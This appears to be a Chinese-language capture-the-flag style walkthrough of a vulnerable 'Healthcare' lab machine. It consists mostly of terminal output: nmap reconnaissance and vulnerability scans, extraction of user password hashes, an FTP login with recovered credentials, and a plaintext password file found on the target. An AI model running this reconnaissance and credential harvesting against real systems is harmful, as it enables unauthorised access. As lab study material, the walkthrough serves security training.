┌──(kali㉿kali)-[~/Downloads/Healthcare] └─$ sudo nmap --min-rate 10000 -p- 192.1.1.141 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-09 18:30 EDT Nmap scan report for 192.1.1.141 Host is up (0.000064s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 80/tcp open http MAC Address: 00:0C:29:95:F1:6A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 8.09 seconds
┌──(kali㉿kali)-[~/Downloads/Healthcare] └─$ sudo nmap -sT -sV -sC -O -p21,80 192.1.1.141 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-09 18:31 EDT Nmap scan report for 192.1.1.141 Host is up (0.00035s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.3d 80/tcp open http Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011)) |_http-title: Coming Soon 2 | http-robots.txt: 8 disallowed entries | /manual/ /manual-2.2/ /addon-modules/ /doc/ /images/ |_/all_our_e-mail_addresses /admin/ / |_http-server-header: Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011) MAC Address: 00:0C:29:95:F1:6A (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6.38 OS details: Linux 2.6.38 Network Distance: 1 hop Service Info: OS: Unix
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.71 seconds
┌──(kali㉿kali)-[~/Downloads/Healthcare] └─$ sudo nmap --script=vuln -p21,80 192.1.1.141 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-09 18:32 EDT Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). | Hosts that seem down (vulnerable): |_ 224.0.0.251 Nmap scan report for 192.1.1.141 Host is up (0.00018s latency).
PORT STATE SERVICE 21/tcp open ftp 80/tcp open http | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server\'s resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 | http-vuln-cve2011-3192: | VULNERABLE: | Apache byterange filter DoS | State: VULNERABLE | IDs: BID:49303 CVE:CVE-2011-3192 | The Apache web server is vulnerable to a denial of service attack when numerous | overlapping byte ranges are requested. | Disclosure date: 2011-08-19 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192 | https://www.tenable.com/plugins/nessus/55976 | https://www.securityfocus.com/bid/49303 |_ https://seclists.org/fulldisclosure/2011/Aug/175 |_http-dombased-xss: Couldn\'t find any DOM based XSS. |_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities. |_http-csrf: Couldn\'t find any CSRF vulnerabilities. | http-fileupload-exploiter: | | Couldn\'t find a file-type field. | | Couldn\'t find a file-type field. | |_ Couldn\'t find a file-type field. | http-enum: |_ /robots.txt: Robots file MAC Address: 00:0C:29:95:F1:6A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 354.24 seconds
没什么收获,看看 Web 界面的 robots.txt 和 21 ftp 吧
Web 渗透
ftp 拿到了版本信息 ProFTPD 1.3.3d,尝试搜索该版本的漏洞,无收获。尝试匿名登录,失败。尝试查看 Web 服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
# $Id: robots.txt 410967 2009-08-06 19:44:54Z oden $ # $HeadURL: svn+ssh://svn.mandriva.com/svn/packages/cooker/apache-conf/current/SOURCES/robots.txt $ # exclude help system from robots User-agent: * Disallow: /manual/ Disallow: /manual-2.2/ Disallow: /addon-modules/ Disallow: /doc/ Disallow: /images/ # the next line is a spam bot trap, for grepping the logs. you should _really_ change this to something else... Disallow: /all_our_e-mail_addresses # same idea here... Disallow: /admin/ # but allow htdig to index our doc-tree #User-agent: htdig #Disallow: # disallow stress test user-agent: stress-agent Disallow: /
[+] Finding number of users... [+] Found number of users: 2 [+] Extracting username and password hash... admin:3863efef9ee2bfbc51ecdca359c6302bed1389e8 medical:ab24aed5a7c4ad45615cd7e0da816eea39e4895d
┌──(kali㉿kali)-[~/Downloads/Healthcare] └─$ ftp 192.1.1.141 Connected to 192.1.1.141. 220 ProFTPD 1.3.3d Server (ProFTPD Default Installation) [192.1.1.141] Name (192.1.1.141:kali): medical 331 Password required for medical Password: 230 User medical logged in Remote system type is UNIX. Using binary mode to transfer files. ftp> binary 200 Type set to I ftp> ls 229 Entering Extended Passive Mode (|||48953|) 150 Opening ASCII mode data connection for file list drwxr--r-- 2 medical medical 4096 Nov 5 2011 Desktop drwx------ 2 medical medical 4096 Nov 5 2011 Documents drwx------ 2 medical medical 4096 Oct 27 2011 Downloads drwx------ 2 medical medical 4096 Jan 19 2010 Movies drwx------ 2 medical medical 4096 Jan 19 2010 Music drwx------ 2 medical medical 4096 Oct 27 2011 Pictures drwxr-xr-x 2 medical medical 4096 Jul 20 2011 Templates drwxr-xr-x 2 medical medical 4096 Jul 20 2011 Videos drwx------ 9 medical medical 4096 Nov 5 2011 tmp 226 Transfer complete ftp> cd Desktop 250 CWD command successful ftp> ls -liah 229 Entering Extended Passive Mode (|||24046|) 150 Opening ASCII mode data connection for file list drwxr--r-- 2 medical medical 4.0k Nov 5 2011 . drwxr-xr-x 31 medical medical 4.0k Nov 5 2011 .. -rwxr-xr-x 1 medical medical 265 Jul 3 2011 Get Libre Office.desktop -rwxr-xr-x 1 medical medical 229 Apr 12 2010 addlocale.desktop -rwxr-xr-x 1 medical medical 225 Apr 12 2010 drakfirewall.desktop -rwxr-xr-x 1 medical medical 1.2k Apr 12 2010 draknetcenter.desktop 226 Transfer complete ftp> cd .. 250 CWD command successful
ftp> ls -liah 229 Entering Extended Passive Mode (|||43237|) 150 Opening ASCII mode data connection for file list drwxr-xr-x 31 medical medical 4.0k Nov 5 2011 . drwxr-xr-x 5 root root 4.0k Jul 29 2020 .. -rw------- 1 medical medical 5.9k Nov 5 2011 .ICEauthority -rw------- 1 medical medical 120 Nov 5 2011 .Xauthority drwx------ 3 medical medical 4.0k Nov 5 2011 .adobe -rw-r--r-- 1 medical medical 193 Sep 24 2011 .bash_profile -rw-rw-r-- 1 medical medical 145 Sep 6 2011 .bashrc drwxr-xr-x 3 medical medical 4.0k Nov 5 2011 .cache drwx------ 11 medical medical 4.0k Nov 5 2011 .config drwx------ 3 medical medical 4.0k Oct 27 2011 .dbus -rwxrwxr-x 1 root root 14 Nov 5 2011 .desktop -rw------- 1 medical medical 28 Nov 5 2011 .dmrc -rw------- 1 medical medical 16 Oct 27 2011 .esd_auth drwxr-xr-x 2 medical medical 4.0k Nov 5 2011 .fontconfig drwx------ 4 medical medical 4.0k Nov 5 2011 .gconf drwx------ 2 medical medical 4.0k Nov 5 2011 .gconfd -rw-r----- 1 medical medical 0 Nov 5 2011 .gksu.lock drwx------ 9 medical medical 4.0k Nov 5 2011 .gnome2 drwx------ 2 medical medical 4.0k Jul 20 2011 .gnome2_private drwx------ 3 medical medical 4.0k Oct 27 2011 .gnupg -rw-rw-r-- 1 medical medical 326 Nov 5 2011 .gtk-bookmarks drwxrwxr-x 2 medical medical 4.0k Oct 27 2011 .icons drwxr-xr-x 3 medical medical 4.0k Jul 20 2011 .local drwx------ 3 medical medical 4.0k Oct 27 2011 .macromedia -rw-r--r-- 1 medical medical 0 Oct 23 2010 .mdk-menu-migrated -rw-rw-r-- 1 medical medical 0 Nov 5 2011 .menu-updates.stamp drwx------ 4 medical medical 4.0k Oct 27 2011 .mozilla drwx------ 3 medical medical 4.0k Oct 27 2011 .mysqlgui drwxr-xr-x 2 medical medical 4.0k Oct 23 2010 .nautilus drwx------ 3 medical medical 4.0k Nov 5 2011 .pki drwx------ 2 medical medical 4.0k Oct 27 2011 .pulse -rw------- 1 medical medical 256 Oct 27 2011 .pulse-cookie drwxrwxr-x 2 medical medical 4.0k Jul 20 2011 .themes drwx------ 3 medical medical 4.0k Jul 20 2011 .thumbnails -rw-r--r-- 1 medical medical 1.9k Jul 6 2011 .xbindkeysrc drwxr--r-- 2 medical medical 4.0k Nov 5 2011 Desktop drwx------ 2 medical medical 4.0k Nov 5 2011 Documents drwx------ 2 medical medical 4.0k Oct 27 2011 Downloads drwx------ 2 medical medical 4.0k Jan 19 2010 Movies drwx------ 2 medical medical 4.0k Jan 19 2010 Music drwx------ 2 medical medical 4.0k Oct 27 2011 Pictures drwxr-xr-x 2 medical medical 4.0k Jul 20 2011 Templates drwxr-xr-x 2 medical medical 4.0k Jul 20 2011 Videos drwx------ 9 medical medical 4.0k Nov 5 2011 tmp 226 Transfer complete ftp> cd Documents 250 CWD command successful ftp> ls -alih 229 Entering Extended Passive Mode (|||35557|) 150 Opening ASCII mode data connection for file list drwx------ 2 medical medical 4.0k Nov 5 2011 . drwxr-xr-x 31 medical medical 4.0k Nov 5 2011 .. -rwxr-xr-x 1 medical medical 33.8k Nov 4 2011 OpenEMR Passwords.pdf -rw-rw-r-- 1 medical medical 82 Oct 27 2011 Passwords.txt
发现了 Passwords.txt
1 2 3 4 5 6 7 8 9 10
┌──(kali㉿kali)-[~/Downloads/Healthcare] └─$ cat Passwords.txt PCLINUXOS MEDICAL root-root medical-medical
[medical@localhost ~]$ ls -liah ls -liah total 168K 267486 drwxr-xr-x 31 medical medical 4.0K Nov 5 2011 ./ 262657 drwxr-xr-x 5 root root 4.0K Jul 29 2020 ../ 267487 -rw------- 1 medical medical 5.9K Nov 5 2011 .ICEauthority 267488 -rw------- 1 medical medical 120 Nov 5 2011 .Xauthority 267489 drwx------ 3 medical medical 4.0K Nov 4 2011 .adobe/ 267493 -rw-r--r-- 1 medical medical 193 Sep 24 2011 .bash_profile 267494 -rw-rw-r-- 1 medical medical 145 Sep 6 2011 .bashrc 267495 drwxr-xr-x 3 medical medical 4.0K Nov 5 2011 .cache/ 267515 drwx------ 11 medical medical 4.0K Nov 5 2011 .config/ 414952 drwx------ 3 medical medical 4.0K Oct 27 2011 .dbus/ 267552 -rwxrwxr-x 1 root root 14 Nov 4 2011 .desktop* 267553 -rw------- 1 medical medical 28 Nov 5 2011 .dmrc 267554 -rw------- 1 medical medical 16 Oct 27 2011 .esd_auth 414955 drwxr-xr-x 2 medical medical 4.0K Nov 4 2011 .fontconfig/ 414961 drwx------ 4 medical medical 4.0K Nov 5 2011 .gconf/ 415106 drwx------ 2 medical medical 4.0K Nov 5 2011 .gconfd/ 267555 -rw-r----- 1 medical medical 0 Nov 5 2011 .gksu.lock 267556 drwx------ 9 medical medical 4.0K Nov 4 2011 .gnome2/ 267574 drwx------ 2 medical medical 4.0K Jul 19 2011 .gnome2_private/ 267575 drwx------ 3 medical medical 4.0K Oct 27 2011 .gnupg/ 267578 -rw-rw-r-- 1 medical medical 326 Nov 5 2011 .gtk-bookmarks 267579 drwxrwxr-x 2 medical medical 4.0K Oct 27 2011 .icons/ 267580 drwxr-xr-x 3 medical medical 4.0K Jul 19 2011 .local/ 415110 drwx------ 3 medical medical 4.0K Oct 27 2011 .macromedia/ 267603 -rw-r--r-- 1 medical medical 0 Oct 22 2010 .mdk-menu-migrated 267604 -rw-rw-r-- 1 medical medical 0 Nov 5 2011 .menu-updates.stamp 415118 drwx------ 4 medical medical 4.0K Oct 27 2011 .mozilla/ 415194 drwx------ 3 medical medical 4.0K Oct 27 2011 .mysqlgui/ 415199 drwxr-xr-x 2 medical medical 4.0K Oct 22 2010 .nautilus/ 415200 drwx------ 3 medical medical 4.0K Nov 5 2011 .pki/ 415205 drwx------ 2 medical medical 4.0K Oct 27 2011 .pulse/ 267605 -rw------- 1 medical medical 256 Oct 27 2011 .pulse-cookie 267606 drwxrwxr-x 2 medical medical 4.0K Jul 19 2011 .themes/ 267607 drwx------ 3 medical medical 4.0K Jul 19 2011 .thumbnails/ 267622 -rw-r--r-- 1 medical medical 1.9K Jul 6 2011 .xbindkeysrc 267623 drwxr--r-- 2 medical medical 4.0K Nov 5 2011 Desktop/ 267628 drwx------ 2 medical medical 4.0K Nov 4 2011 Documents/ 267631 drwx------ 2 medical medical 4.0K Oct 27 2011 Downloads/ 267633 drwx------ 2 medical medical 4.0K Jan 19 2010 Movies/ 267634 drwx------ 2 medical medical 4.0K Jan 19 2010 Music/ 267635 drwx------ 2 medical medical 4.0K Oct 27 2011 Pictures/ 267637 drwxr-xr-x 2 medical medical 4.0K Jul 19 2011 Templates/ 267638 drwxr-xr-x 2 medical medical 4.0K Jul 19 2011 Videos/ 267639 drwx------ 9 medical medical 4.0K Nov 5 2011 tmp/